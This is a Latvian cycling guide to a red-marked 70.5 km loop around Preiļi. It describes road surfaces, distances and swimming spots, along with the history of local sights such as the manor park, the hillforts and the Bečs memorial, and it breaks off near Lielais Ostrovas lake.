Dabā maršrutam ir sarkans marķējums

Piedāvātā velomaršruta priekšrocība ir tāda, ka neviens no maršruta punktiem nav tālāk kā 13 km no Preiļu centra. Tas nozīmē, ja velobraucēju maršrutā ir pārsteiguši nepatīkami laika apstākļi, radušās tehniskas problēmas, sastreikojusies veselība vai vienkārši bērni sākuši niķoties, tad pa tuvāko ceļu līdz Preiļu centram nebūs vairāk par 13 km. Sazarotais ceļu tīkls, kas ieskauj Preiļus, braucējiem ļauj izvēlēties sev tīkamu maršruta posmu un tā garumu, ar iespēju pa tuvāko ceļu ātri atgriezties Preiļos.

Preiļi-Saltupes iela-Jaunsaimnieki-Plivdas-Anspoki- 5,1km

Anspoki-Litavnieki-Kankuļi-Ludvigova-Gailīši (Gaiļmuiža)- 12,2km

Gailīši (Gaiļmuiža)-Šņitkina-Tiša-Gailīši (Gaiļmuiža)- 7,1km

Gailīši (Gaiļmuiža)-Pīzāni-Kozuļi-Novini-Lielais Ostrovas ez.-9,7km

Lielais Ostrovas ez.-Novini-Skangeļi-Riebiņi-Riebiņu muiža (estrāde)-7,9km

Riebiņu muiža (estrāde)-Stefanapole-Medvednieki-Pieniņi-7,6km

Pieniņi-Kalnacki-Kokorieši-Moskvina- 10,6km

Moskvina-Šķilteri-Vaivodi-Preiļi-10,3km

KOPĀ-70,5km

Maršrutā asfalta segums ir 11,7 km ceļa, grants segums 30,3 km, uzlabots zemes ceļš 17,3 km, zemesceļš 7.0 km, grūti izbraucams zemesceļš 4,2 km. Ar grūti izbraucamu zemesceļu jāsaprot, ka to grūti ir izbraukt ar automašīnām, bet ar velosipēdiem tas nesagādās problēmas. Pārsvarā šie ceļi ir pļavās un ganībās iebrauktas divas sliedes vai taciņas. Reljefs pārsvarā līdzens. Vairāk kāpumu un nobraucienu ir maršruta posmā no Preiļiem līdz Riebiņiem. Lietainā laikā vai pēc lietavām zemes ceļi un grūti izbraucamie zemes ceļi, pateicoties Latgales mālam, vietām var būt dubļaini un slideni. Savukārt sausā laikā uz grantētajiem lielceļiem veidojas „trepe” – sevišķi posmā Pieniņi – Moskvina un Šķilteri – Preiļi. Cilvēki, kuriem nav svešas regulāras fiziskās aktivitātes, šo maršrutu veiks vienas dienas laikā. Pārējie var izvēlēties veikt daļu no maršruta atbilstoši savām fiziskajām spējām. Iepirkšanās jāplāno Preiļos, Gailīšos (Gaiļmuižā), Riebiņos vai Pieniņos. Iespējas baudīt sabiedriskās ēdināšanas pakalpojumus ir Preiļos un Riebiņos. Riebiņos tikai darba dienās no 8 00-17 00.

 

Labākās peldvietas ir Preiļu parka peldvietā, aktīvās atpūtas zonā, Kaučera ezerā pie dārzkopības sabiedrības „Kaučers”, Salmeja ezerā, Lielajā Ostrovas ezerā un Pieniņu ezerā.

Maršrutā kilometru atskaite sākas no Preiļu centra pie Romas katoļu draudzes baznīcas, kas ir viens no skaistākajiem arhitektūras pieminekļiem pilsētā. Pirmā baznīca Preiļos tika uzbūvēta 1676. gadā (pēc citiem datiem jau 1580. gadā). Tā bija neliela koka celtne, ko uzcēla par muižkunga Borha līdzekļiem. Dievnamu aprūpēja jezuīti, kas Preiļos veica darbību līdz 1775. gadam. Tagadējā baznīca celta laikā no 1866. – 1878. g. pēc arhitekta Visocka projekta vecās koka baznīcas vietā. 1896. gada 27. jūnijā baznīcu iesvētīja. Baznīca ir ar vienu lielu torni. Šajā tornī ir 3 zvani – “Svētais Pēteris” (lielais), “Svētais Francisks” (vidējais) un “Svētā Terēze” (mazais). Te apskatāma gleznas „Dievmāte altārī”, „Svētais Antons”, virs lielā altāra atrodas sudraba plāksne „Jaunavas Marijas bezvainīgā ieņemšana”, kuras izcelsme datēta ar 1842. gadu. Ievērības cienīgs ir arī 18. gadsimta krucifikss un 19. gadsimta ciborija kauss. Sakrālās celtnes simtS gadu jubilejā baznīcas dārzā uzstādīta Latgales Mātes statuja (tēlnieks B. Buls). 1993. gada 22. augustā pie baznīcas tika atklāts tēlnieces Vijas Dzintares piemineklis Sērojošā Māte. Šis ir veltījums nacionālajiem partizāniem, kuri ar ieročiem rokās cīnījās pret mierīgo iedzīvotāju deportācijām uz Sibīriju, pret Molotova – Rībentropa pakta sekām, pret svešu varu varmācību. Viņi tika nogalināti drīz pēc krievu armijas ienākšanas novadā, kaili nomesti šajā vietā par brīdinājumu citiem.

Šis piemineklis atgādina arī to daudzo represēto šausmas un pārdzīvojumus, kuri pa nakts melnumu tika izvesti no mājām, atraujot mātēm bērnus un bērniem mātes, lai dzītu uz dzelzceļa stacijām un no turienes lopu vagonos aizvestu pretī iznīcībai. Neizmērojamas bijušas tautas ciešanas, par tām atgādina sērojošā, ceļos noslīgusī baltā akmens māte, ar segu uz labās rokas – to viņa klāj uz nezināmās vietās palikušajiem mūsu tautas dēliem un meitām.

30. gados šajā vietā atradās postaments par godu Krievijas caram Aleksandram II, kurš 1861. g. Latgalē atcēla dzimtbūšanu.

 

 

Pēc baznīcas apskates pa Raiņa bulvāri dodamies uz parka pusi. Bulvāra galā redzams neoficiālais Preiļu simbols – sarkanu ķieģeļu parka vārti. Tie atrodas pretī katoļu baznīcas vārtiem otrā bulvāra galā. Blakus vārtiem ir 19. gs. celtais pils vārtu sarga namiņš. Pašreiz šeit atrodas Preiļu Vēstures un lietišķās mākslas muzeja etnogrāfijas priekšmetu, tekstiliju, keramikas un mēbeļu krātuve.

 

 

 

 

 

Uzreiz aiz vārtiem ir apskatāma 1817. gadā uzceltā Preiļu Muižas kapela. Šajā kapelā katru dienu notika dievkalpojumi, un grāfs īpaši šim nolūkam uzturēja muižas garīdznieku. Zem kapelas bija iekārtotas kapenes grāfa ģimenes locekļu apbedīšanai. Kapelas arhitektūra atbalso Romas Panteona ideju – tā celta no neaptēstiem laukakmeņiem rotondas veidā. Kapelas portālu, ko noslēdz trīsstūra frontons, balsta izbīdītas četras apaļas kolonas. 1918. gada 4. decembrī Preiļos iebruka Padomju Krievijas sarkanā armija un nodibināja padomju varu, faktiski komunistu diktatūru. 1919. gada vasarā komunisti apgānīja un izdemolēja kapelu. No tās izsvieda kapelas iekārtu un te ierīkoja klubu „Bliže k svetu” („Tuvāk gaismai”), tāds uzraksts tika uzkrāsots arī uz kapelas fasādes. Tika atlauztas un izpostītas arī grāfu Borhu kapenes kapelas pagrabstāvā. 20. gadsimta 20. gados kapelu nodeva baznīcas rīcībā. Tajā tika atjaunots altāris un notika dievkalpojumi. Pēc Otrā pasaules kara ēka tika vēlreiz izdemolēta un vairs netika izmantota. 1995. gadā Preiļu Romas katoļu baznīca atjaunoja īpašumtiesības uz kapelu un kopš tā brīža rūpējas par tās uzturēšanu. 2006. gadā kapelu pilnībā restaurēja, pateicoties Valsts Kultūrkapitāla fondam, Eduarda Upenieka iniciatīvai un privātajiem ziedojumiem.

Aiz vārtiem arī sākas Preiļu parks. 18.-19. gs. veidotais 41 ha (pēc citiem datiem 43 ha) plašais regulāra plānojuma muižas parks ir viens no ievērojamākajiem ainavu parkiem Latvijā. Parkā izveidota sarežģīta dīķu un kanālu sistēma ar salām, vairāk nekā 25 koku un krūmu sugu stādījumu grupām, tostarp IR arī vairāki dižkoki. Iespējams, ka Preiļu parka plānojumu projektējis itāļu arhitekts Vinčento Macoti (1756-1798). Parkā atrodas vairākas Preiļu muižas kompleksam piederīgas būves – Preiļu pils, staļļi, trīs vārti, minētā kapela un vārtu sarga namiņš.

Aiz vārtiem un kapelas tālāk dodamies pa bruģētu taciņu līdz tiltiņam. Labajā pusē ir redzamas zirgu staļļa drupas. Zirgu stallis sastāv no trim kopā savienotiem korpusiem. Staļļa izveidei un dekorācijai izmantoti pārsvarā neogotikas elementi – piemēram, stūru torņi. Ēkas romantisko noskaņu izceļ zirgu galvas arhivoltu centrā un logailu ierāmējums. Fasāžu apdarē izmantots laukakmeņu mūris ar sīku šķembu iespiedumiem javā un gluda apmetuma virsma.

Tālāk, aiz staļļiem, ir redzama Preiļu aktīvās atpūtas zona. Te ir pilsētas peldvieta, pirmā BMX trase Latgalē, pludmales volejbola un futbola laukumi.

 

 

Turpinot maršrutu, kreisajā pusē redzam Preiļu muižas kalpu māju, bet vēl pēc apmēram 200 m nonākam pie Preiļu pils. Preiļu pils ir izcils Latgales 19. gs. historisma laika muižu arhitektūras paraugs, kas izteiksmīgi raksturo romantisma periodu Latvijas muižu mākslas un sabiedriskajā dzīvē. Viduslaikos Preiļu novads ar pili piederēja Livonijas ordenim, bet kopš 1382. gada – barona fon Borha dzimtai. Tās pārstāvētais arhitektūras stils ir neogotika. Sākotnēji Preiļos atradusies Livonijas ordeņa pils, kas, iespējams, celta 14. gs. pēdējā ceturksnī. Šī pils pastāvēja līdz 16. gs. vidum, tad, Livonijas kara laikā, Krievijas armija pili nopostīja. Borhi nopostīto ēku neatjaunoja, bet uzcēla jaunu pili, kas nodega 18. gs. sākumā. Tās vietā tika celta trešā – divstāvu ēka. Ēkai novecojot, būvēta jauna, ceturtā, Preiļu pils. Ceturto Preiļu pili sāka būvēt 19. gs. sākumā pēc arhitektu Gustava Šahta un A. Belecka projekta angļu neogotikas stilā. Tā savu galīgo veidolu ieguva laikā no 1860. – 1865. gadam. Reizē ar pils celtniecību Borhi pārveidoja veco parku, ievērojami paplašinot tā robežas. Tika uzbūvētas arī jaunas saimniecības ēkas. 1979. gada (?) februārī pils izdega un pēc tam vairākus gadus stāvēja bez jumta. 1985. gadā sākās remontdarbi, vēlāk ēkai uzlikts arī jumts, bet turpmākie atjaunošanas darbi pārtraukti.

Aiz Preiļu pils maršrutu turpinām pa taciņu un nonākam pie Mehanizatoru ielas, kuru šķērsojam. Tālāk dodamies garām Lauksaimniecības atbalsta dienesta ēkai un bērnudārzam, līdz nonākam uz neasfaltētas ielas – tā ir Saltupes iela, pa kuru turpinām maršrutu taisni. Pēc 400 m esam sasnieguši Saltupes ielas mikrorajonu. Pa labi redzami AS “Preiļu siers” ražošanas korpusi.

A/s „Preiļu siers” ir lielākais Preiļu uzņēmums, lielākais Preiļu novada nodokļu maksātājs un lielākais siera ražotājs un eksportētājs Latvijā.
Piena pārstrādes uzņēmums Preiļos ir dibināts 1972. gadā kā valsts uzņēmums „Preiļu siera rūpnīca”. 1994. gadā uzņēmums tika reorganizēts par akciju sabiedrību „Preiļu siers”.

Aiz Saltupes ielas mikrorajona maršrutu turpinām pa bezseguma ceļu garām lauku mājām. Pēc 600 m metriem nonākam pie krustojuma; mums jāturas pa kreisi, un drīz labajā pusē ir nākošā lauku sēta. Aiz tās ceļš ievijas mežā, šķērso gāzes vada trasi, un pēc 350 m nonākam pie kārtējās lauku sētas. Pēc neliela nobrauciena kreisajā pusē redzams meža ieskauts paugurs ar bērziem virsotnē un izteiksmīgu nogāzi – tas ir Plivdu (Pliudu) pilskalns.

Plivdu (Pliudu) pilskalnu no trijām pusēm ieskauj Preiļupes līkums. Tā relatīvais augstums ir 17 m. Uzkāpjot pilskalna virsotnē var apskatīt ļoti stāvo Z nogāzi – te var pārliecināties, ka ienaidniekam nebija viegli šo pilskalnu iekarot un ka senie latgaļi prata izvēlēties vietas, kur celt savas pilis un apmetnes! Šo pilskalnu atklāja un 1928. gadā savā grāmatā “Latvijas pilskalni” aprakstīja Ernests Brastiņš. Viņš raksta: ”Šis kalns tagad tiek arts, bija apsēts rudziem, bet senāk, domājams, bijis nocietināts ierakumiem un uzbērumiem. No tiem nav vairs atlicis nekādu pēdu, jo aršana iesākta pirms 50 gadiem un plakums kā arī sāni jau pārveidoti.” Mūsdienās te vairs aršana nenotiek un tikai D nogāze tiek izmantota ganībām.

Turpinām maršrutu līdz nonākam līdz ceļam Anspoki – Štolderis, kur nogriežamies pa kreisi un braucam līdz Anspokiem vai Preiļi – Aglona šosejai. No maršruta sākuma esam veikuši 5,1 km.

 

Šeit ir apskatāma bijušās Anspoku (Anspaku) muižas apbūve, kas ir vietējās nozīmes arhitektūras piemineklis. Kā pirmo kreisajā pusē redzam 20. gs. 30. gados celto klēti, blakus atrodas 19. gs. otrajā pusē celtais krogs, bet tālāk pussagruvušā ēka ir 19. gs. pirmajā pusē celtais stallis. Pa labi redzama 20. gs. 30. gados celtā dzīvojamā ēka, kur kādreiz bija sakaru nodaļa.

Sākas nobrauciens Preiļupes ielejā. Pirms tilta pār Preiļupi pa labi ir celiņš uz lauku sētu, aiz kuras atrodas un ir apskatāmas Anspoku muižas medību pils drupas un Anspoku (Anspaku) pilskalns.

 

 

Anspoku (Anspaku) pilskalnu 1977. gadā apzināja arheologs Juris Urtāns. Pilskalns ierīkots 10 m augstā zemes ragā, kuru no trim pusēm apņem Preiļupīte, bet no ceturtās puses tas norobežots ar diviem nelieliem vaļņiem un grāvjiem. Pirmais valnis ir 0,7 m augsts, 31 m garš, starp to un otro valni ir 0,8 m dziļš grāvis. Otrais valnis ir 0,25 m augsts; otrā grāvja dziļums – 0,25 m. Pilskalna plakums ir trīsstūrveidīgs, tā garums – 37 m, platums gar valni – 32 m. Plakums ir izlīdzināts, ar divu metru kritumu ZR virzienā. Kalna nogāzes R, ZA un DA pusē nobrukušas Preiļupītē. Anspoku pilskalns bija vēlā dzelzs laikmeta nocietinājums.

Anspoku (Anspaku) un Plivdu (Pliudu) pilskalnu nozīme un vēsture ir cieši saistīta. Latvijā zināmi vairāki šādu pilskalnu pāri. Uzskata, ka ļaudis sākumā apdzīvojuši mazāko, vājāk nocietināto pilskalnu. Šajā gadījumā tas bija Anspoku (Anspaku) pilskalns. Vēlāk, pieaugot cilvēku skaitam un mainoties ekonomiskās un politiskās dzīves apstākļiem galvenā nocietinājuma funkcijas pāriet uz kādu citu netālu esošu, lielāku kalnu. Šajā gadījumā – uz Plivdu pilskalnu.

Anspoku (Anspaku) medību pils celta 19. gs. vidū. Laikā no 19. gs. sākuma līdz 60. gadiem Preiļu muižā notika lieli celtniecības un labiekārtošanas darbi. Tos uzsāka grāfs Jozefs Heinrihs Borhs, bet pabeidza viņa dēls Mihaels Borhs – pēdējais Preiļu īpašnieks. Šajā laikā tika uzcelta grāfu Borhu kapela, Preiļu jaunā pils un jaunas saimniecības ēkas. Reizē ar pils celtniecību Borhi pārveidoja veco parku, ievērojami paplašinot tā robežas. Šajā laikā arī tika uzcelta medību pils, no kuras mūsdienās palikušas tikai drupas. Tautas nostāsti stāsta, ka Preiļu jauno pili un medību pili savieno slepena pazemes eja, kuru gan neviens nav atradis.

Apskatījuši medību pili, dodamies Preiļu virzienā. Ja ir interese, var nokāpt Preiļupes ielejā un no upes apskatīt tiltu pār Preiļupi. Tas, izrādās, ir arkveida tilts, kas būvēts no kaltiem laukakmeņiem un kura virsma ir nobetonēta un pēc tam noasfaltēta. No augšas tilts izskatās kā parasts, padomju laikos celts tilts. No tilta turpinām ceļu un pēc 1,3 km nonākam pie lauku ceļa ar norādi uz Ignata Beča piemiņas vietu. Šeit nogriežamies pa labi un turpinām braukt līdz sasniedzam minēto piemiņas vietu. No maršruta sākuma esam veikuši 8,0 km.

Ignats Bečs ir I pasaules kara un Latvijas Brīvības cīņu dalībnieks, robežsargs, policijas darbinieks, apakšpulkvedis, divu Jura krustu, Staņislava, Lāčplēša Kara un Trīs Zvaigžņu ordeņa kavalieris. Dzimis 1890. gada 14. februārī Preiļu pagasta Litavniekos trūcīgu zemnieku Jāzepa un Elizabetes sešu bērnu ģimenē – visi dēli, no kuriem trīs kļuva par karavīriem. 1918. gada 15. decembrī brīvprātīgi iestājies Latvijas armijas pirmajā kaujas vienībā – pulkveža Oskara Kalpaka bataljonā. 1919. gada 30. septembrī I. Beču paaugstināja par kapteini un pārcēla par bataljona komandieri uz Latgales partizānu pulku, kurš Kurzemes divīzijas sastāvā cīnījās par Latgales atbrīvošanu no Padomju Krievijas interventiem. 1920.  gada janvāra – februāra uzbrukumu rezultātā Latvijas armija austrumos sasniedza latviešu tautas etnogrāfiskās robežas. Latvija atguva arī senu latviešu zemi – Abrenes novadu. Ar sevišķu pacilātību šajās kaujās gāja visi Latvijas armijas cīnītāji, bet jo sevišķi Latgales partizānu pulks un latgalieši, kas atradās citās karaspēka vienībās. 1920. gada 2. februārī pie Augšpils sava bataljona priekšgalā zem stipras ienaidnieka apšaudes Ignats Bečs ieņēma stipri nocietināto kalnu, ar ložmetēju pirmais uzskrienot tajā un atklājot uguni uz ienaidnieku. Pateicoties I. Beča personīgajai drosmei un prasmīgajai kaujas vadībai, tika atsisti trīs ienaidnieka pretuzbrukumi un noturēts stratēģiski svarīgs aizsardzības punkts. Līdz 1936. gadam Ignats Bečs ieņēma dažādus amatus Latvijas robežu apsardzē. 1936. gadā Ignatu Beču paaugstināja apakšpulkveža pakāpē un iecēla par Abrenes pilsētas kārtības policijas iecirkņa priekšnieku, bet 1939. gadā pārcēla tādā pašā amatā uz Preiļu pilsētu. 1940. gada jūlija beigās čekisti viņu apcietināja un, paņemot līdzi viņa dokumentus, ordeņus un zobenu, aizveda uz Daugavpils cietumu. 1941. gada 14. jūnijā Ignatu Beču deportēja uz Krieviju, Krasnojarskas apgabalu, un 1943. gadā gulaga nometnē viņš gāja bojā. 1992. gada 11. novembrī Litavniekos Ignatam Bečam uzstādīts un atklāts piemiņas akmens.

Pēc piemiņas vietas apskates dodamies tālāk. Sākas neliels nobrauciens uz Preiļupes ieleju, kuru arī šķērsojam. Apmēram pēc 2 km ceļa segums mainās. Ja laika apstākļi ir bijuši lietaini, tad segums vietām var būt dubļains. Arī maršruta reljefs ir kļuvis viļņotāks – nobraucieni mijas ar lielākiem vai mazākiem kāpumiem. Pieveikuši apmēram 700 m garu lēzenu kāpumu, esam sasnieguši Kankuļu karjeru. Šķērsojuši karjeru, nonākam aizsargājamā ainavu apvidū “Kaučers”.

Aizsargājamā ainavu apvidus “Kaučers” platība ir 2762 ha, un tā teritorijā atrodas 7 ezeri: Salmeja, Kaučera, Stupānu (Stuponu), Limanu, Meiraukas, Baibas un Asaru (Esereiša) ezeri, kuri no kopējās aizsargājamo ainavu apvidus teritorijas platības sastāda 8%. No tiem lielākie ir Salmeja, Kaučera un Stupānu ezeri, kuri ir savstarpēji savienoti ar meliorācijas gaitā pārveidotu ūdensteču sistēmu. Aizsargājamā teritorijā sastopami 11 Eiropas un Latvijas nozīmes aizsargājamie biotopi, 15 aizsargājamās augu, dzīvnieku un sēņu sugas, tostarp 6 Eiropas direktīvu sugas. Aizsargājamajai sūnu sugai – platlapu vijzobei (Tortula latifolia) šeit ir vienīgā atradne Latvijā un Baltijas valstīs. Nedaudzas atradnes Latvijā ir arī zāļu purvu sūnām apaļlapu dumbrenei (Calliergon trifarium) un Īrijas merkijai (Moerckia hibernica). Konstatēti seši Eiropā un Latvijā aizsargājami pļavu biotopi. Turpmākais maršruts līdz Gailīšiem (Gaiļmuižai) un to apkārtni mūs vedīs cauri šim aizsargājamo ainavu apvidum.

Aiz karjera pēc 1,15 km un patīkama nobrauciena sasniedzam Ludvigovas krustojumu. Labs orientieris ir krucifikss, kas atrodas ceļa kreisajā pusē. Maršruts paredz, ka mums jānogriežas pa kreisi, bet pirms tam varam nogriezties pa labi un pēc 50 m alkšņu mežiņā ceļa kreisajā pusē apskatīt arheoloģisko pieminekli – Ludvigovas senkapus II. No maršruta sākuma esam veikuši 13,8 km.

Ja ir interese, var pabraukt 600 m uz priekšu apskatīt Ludvigovas senkapus I vai Bogomolkas kalnu. Šie senkapi nav apauguši ar kokiem, un, uzkāpjot tajos, paveras skaista ainava uz Stupānu ezeru. Ludvigovas senkapiem I un II ir liela arheoloģiskā vērtība. Tie ir hronoloģiski senākie apbedījumi, un tiem ir raksturīgi akmens riņķi un līdzenie kapulauki, kuri tiek datēti ar VIII gs.

Krustojumā maršrutu turpinām pa kreisi uz Kaučeru un Gailīšiem (Gaiļmuižu). Pēc 1,7 km esam sasnieguši dārzkopības sabiedrību “Kaučers”. Te, pa pirmo ceļu pa labi, varam piebraukt pie skaistā Kaučera ezera. Te arī ir laba peldvieta.

Kaučera ezera platība ir 50,4 ha. Tā maksimālais dziļums sasniedz 21 m, bet vidējais dziļums ir 6,1 m. Kaučers ir maz aizaudzis ezers un līdz ar to ir viens no dzidrākajiem eitrofajiem Latvijas ezeriem (caurredzamība 3,4 m pēc Sekki diska, 2006. gada novērojumi).  Latvijā šādu ezeru nav daudz. Ezeram pieguļošo teritoriju galvenokārt veido meži, tas ir ar mežu noaugušu pauguru ieskauts no Z, A, un D.

Turpinot no Kaučera līdz Gailīšiem mūs sagaida kāpums. Nonākuši pie Preiļu – Krāces šosejas, mēs no maršruta sākuma esam veikuši 17,3 km.

Gailīšos (Gaiļmuižā) ir apskatāma muižas apbūve un vietējās nozīmes kultūrvēsturiskais piemineklis –  Gailīšu parks. Gailīšu parka platība ir 6,0 ha. Tajā ir sastopamas introducēto koku sugu, lapegļu, audzes, kā arī saglabājušās liepu rindas un lapegļu grupas. No dažām parka vietām paveras tāli skati uz apkārtējiem pauguriem un ezeru. Parkā stādītas vietējās un eksotisko koku un krūmu sugas. No vietējās sugām parkā ir sastopamas liepas, kļavas, ozoli, priedes, egles, pīlādži, lazdas un ievas. Parkā ir bijušas vairāk nekā 120 svešzemju sugas.  Mūsdienās parks ir nekopts, aizaudzis, tajā sabūvētas saimniecības ēkas.

Gailīšu (Gaiļmuižas) apbūves kompleksā ietilpst 5 ēkas. Saglabājusies arī kungu māja, kur līdz 2009. gada augusta beigām atradās pamatskola, bet pašlaik te ir sociālās aprūpes centrs. Ceļa pretējā pusē ir Gailīšu kultūras nams, piemineklis Otrajā pasaules karā kritušajiem padomju karavīriem, Gailīšu bibliotēka un vēl dažas ēkas.

Uz šosejas griežamies pa labi. Te mūs sagaida skaists nobrauciens. Braucam 1,16 km līdz pirmajam lielākajam ceļam un nogriežamies pa kreisi. Tālāk turpinām pa labu grants ceļu. Apmēram pēc 800 m ceļš cieši pietuvojas Salmeja ezera krastam. Te ir vietējo iedzīvotāju atpūtas vieta, kur var piestāt papriecāties par skaistajām ainavām un nopeldēties.

 

 

Fizģeogrāfiski Salmeja ezers atrodas Latgales augstienes Feimaņu paugurainē. Tā platība bez salām ir 99 ha, bet ar salām 100,2 ha. Ezerā atrodas četras salas. Tā vidējais dziļums ir 2,8 m, bet maksimālais sasniedz 5,1 m. D-Z virzienā Salmeja garums sasniedz 1,7 km, bet lielākais platums – 0,8 km.

Turpinām maršrutu Z virzienā. Pēc 1,4 km nonākam T veida krustojumā. Mums jādodas pa kreisi. Pēc 450 m labajā pusē ir apskatāmi Tišas vecticībnieku kapi, bet vēl pēc 300 m kreisajā pusē kļūst redzams Salmeja ezera Z gals. Turpinām braucienu vēl apmēram 300 m, līdz nonākam līdz ceļa krustojumam, kur mums jānogriežas pa kreisi. Brauciens jāturpina līdz ieraudzīsim Tišas (Tišinas) vecticībnieku lūgšanu nama sarkano jumtu un dzeltenos kupolus. Dodamies tuvāk apskatīt nelielo dievnamu. No maršruta sākuma esam veikuši 22,4 km.

 

Tišas (Tišinas) vecticībnieku kopienas lūgšanu nams celts 1880. gadā. Arhīvu dokumentos parādās ziņas, ka kopiena pastāvējusi 19. gadsimta 30. gados, kas liecina par to, ka pašreiz eksistējošā dievnama ēka nav pirmais šeit uzceltais dievnams. Lūgšanu nama guļbūves ārsienas apšūtas ar plastikāta apdares dēlīšiem. Vien zelminī saglabājies vertikālu un skujiņā liktu dēļu apšuvums. Dievnama ikonu kolekciju veidoja 19. gadsimta – 20. gadsimta sākumā gleznotas ikonas. Slavenākā no tām bija zudusī Dievmātes Šuiskas ikona “Hodegitrija”, kas gleznota, ievērojot tradicionālo ikonogrāfiju. Lūgšanu namā savulaik bijuši arī 19. gadsimta matāllējuma krusti un ikonas, kuru vidū bija arī, iespējams, Latvijā un Latgalē lieti paraugi. Dievkalpojumu grāmatu kolekciju veidoja 17. gadsimtā – 20. gadsimta sākumā iespiesti darbi, no kuriem vērtīgākie paraugi ir zuduši. Starp tiem bija 17. gadsimta poligrāfijas mākslas paraugs – grāmata “Baznīcas nolikums”, kuras ādas iesējums bija rotāts ar iespiedumiem, savukārt teksts dekorēts ar vinjeti. Grāmatu vidū bija arī 1795. gadā iespiests Počajevas tipogrāfijas produkcijas paraugs “Jāņa Zeltamutes pamācības”, kā arī šobrīd zudušais, viens no interesantākajiem kolekcijas eksemplāriem, 1627. gadā Maskavā iespiestais “Evaņģēlijs” (iesējums tapis 19. gadsimtā).

Pēc Tišas dievnama apskates tālāk mūs sagaida garākais maršruta posms pa grūti izbraucamu zemes ceļu, vienkāršāk sakot, jābrauc pa ganībās iebrauktām divām sliedēm. Vēl  apmēram 450 m ir zemesceļš, un pirms tā beigām mēs sasniedzam paugura augstāko punktu, no kura paveras fantastiski skaists skats uz Salmeja ezeru, tā salām  un apkārtni. Pēc apmēram 50 m ceļš sazarosies – pa kreisi un taisni. Mums jābrauc taisni. Tālāk sekos nobrauciens līdz Preiļupes iztekai no Salmeja ezera. Ja ir zems ūdens līmenis, Preiļupi var šķērsot pa brasu. Sausās vasarās upītes gultnē vispār nav ūdens, bet, ja ir augsts ūdens līmenis vai nav vēlēšanās slapināt kājas, Preiļupi var šķērsot pa blakus esošo divu baļķu laipu. Pēc  upes šķērsošanas un izbraucot no krūmājiem, priekšā redzamas mājas, ganība un kalns, kura galā mums būs jānokļūst! Šis ir augstākais kalns, kas mums šajā maršrutā jāpieveic un vēl pie tam pa taciņu! Kāpuma garums līdz Preiļu – Krāces šosejai ir apmēram 300 m. Pēdējie metri ved pa parku, un beigās atkal esam nonākuši Gailīšos (Gaiļmuižā). No maršruta sākuma esam veikuši 24,4 km, bet no Tišas – 2 km.

Tālāk dodamies Preiļu virzienā. Pēc apmēram 130 m labajā pusē ir redzams Gailīšu veikals, kur var iegādāties pārtiku un atsevišķas saimniecības preces. Aiz veikala sākas patīkams nobrauciens, bet nevajag zaudēt modrību, jo pēc 1,1 km mums pa grants ceļu jānogriežas pa labi. Te vajadzētu piefiksēt spidometra rādītājus, jo pēc 2,4 km mums jānogriežas pa labi uz mazāku lauku ceļu. Turpinot maršrutu, pabraucam garām latvāņu ieskautām fermas drupām, šķērsojam gāzes vada trasi un vēl pēc 1 km nonākam pie mums vajadzīgā krustojuma. Krustojumu var atpazīt pēc Y formas – sākumā mums nepieciešamais ceļš it kā virzās atpakaļ, bet vēlāk pagriežas ZR virzienā. No maršruta sākuma esam veikuši 28,1 km.

Tālāk maršruts turpinās pa zemesceļu, un pēc 1,4 km esam nonākuši krustojumā kalna galā. Reljefa augstums šeit sasniedz 170,1 m vjl. Kāpums līdz šim punktam ir lēzens un grūtības nesagādā. Šis ir viens no augstākajiem reljefa punktiem, kuru esam sasnieguši šajā maršrutā. Te var papriecāties par apkārtējām ainavām un pārliecināties, cik Latgale ir skaista!

Maršruts turpinās taisni, bet zemesceļš beidzas. Tālāk seko nobrauciens pa grūti izbraucams zemesceļu, pēc tam neliels kāpums, un apmēram pēc 700 m esam pie lielceļa Petrovski – Skangeļi. Te griežamies pa labi un turpinām maršrutu. Kreisajā ceļa pusē var manīt žogu. Šeit ir ierīkots un iežogots privātais muflonu dārzs “Auļi”. Muflons ir savvaļas aita. Tiek uzskatīts, ka mufloni Viduseiropā dzīvojuši jau pirms ledus laikmeta. Mūsdienās mufloni ir sastopami Kaukāzā, Irākas ziemeļos un Irānas ziemeļrietumos, kādreiz tie apdzīvoja visu Mazāziju, Krimas pussalu un Balkānus, kur tie izmira jau pirms 3000 gadiem. Mufloni ir ļoti uzmanīgi, izturīgi un pieticīgi dzīvnieki, ar izcilām gaļas īpašībām. Muflonu tēviņi sver ap 40 kg, tiem ir pamatīgi ragi, kas saritinājušies līdzīgi gliemeža čaulai, tāpēc tos mēdz saukt par gliemežiem. Mufloni bieži tikuši audzēti dižciltīgo ļaužu medību dārzos. Bez mufloniem dārzā tiek audzēti arī brieži. Ja labi paveiksies, tad dzīvniekus varēsiet arī apskatīt, bet visticamāk tikai no attāluma. Pēc nepilniem 1,4 km ir pagrieziens pa labi. Nogriežamies un uzbraucam paugurā. Te paveras skaista ainava uz apkārtni. Sevišķi skaistas ainavas te ir pavasarī, kad viss sāk zaļot, un rudenī, kad lapas dzeltē. Šī ir tā vieta, no kuras kaut kur tālumā varēs manīt minētos muflonus vai briežus. Turpinām maršrutu un pēc 2,6 km nonākam pie Lielā Ostrovas ezera. Te ir ierīkota lapene, ugunskura vieta un peldvieta. Šī ir ideāla vieta, kur velotūristi var ieturēt maltīti, nopeldēties un atpūsties. Turpat blakus ir apskatāms arī Mazais Ostrovas ezers. Abi ezeri ir ļoti ainaviski, tāpēc ir vērts uz šejieni doties. No maršruta sākuma esam veikuši 34,1 km.

Fizģeogrāfiski Ostrovas ezeri atrodas Latgales augstienes Feimaņu paugurainē, apmēram 150 m vjl. Lielā Ostrovas ezera platība ir 22,3 ha, tā lielākais dziļums pārsniedz 3 m, bet vidējais – 1,4 m. Tā garums sasniedz 0,9 km, bet platums 0,4 km. Mazā Ostrovas ezera platība ir 4,9 ha. Abi ezeri ir savstarpēji savienoti. Stūrainais, izlocītais Lielais Ostrovas ezers uzņem upītes no apaļā Mazā Ostrovas ezera un no tālāk uz Z esošā Palšas ezera. D ir notece uz Preiļupi. Ezeru krasti pārsvarā ir stāvi vai slīpi. Tie ir eitrofi, maz aizauguši ezeri. Sevišķi ainaviski šie ezeri ir rudenī, saulainā laikā, tad to krastos var saskatīt visu krāsu paleti.

Atgriežamies uz lielceļa Petrovski – Skangeļi un braucam pa labi līdz 2,1 km attālajam Skangeļu vecticībnieku lūgšanu namam.

 

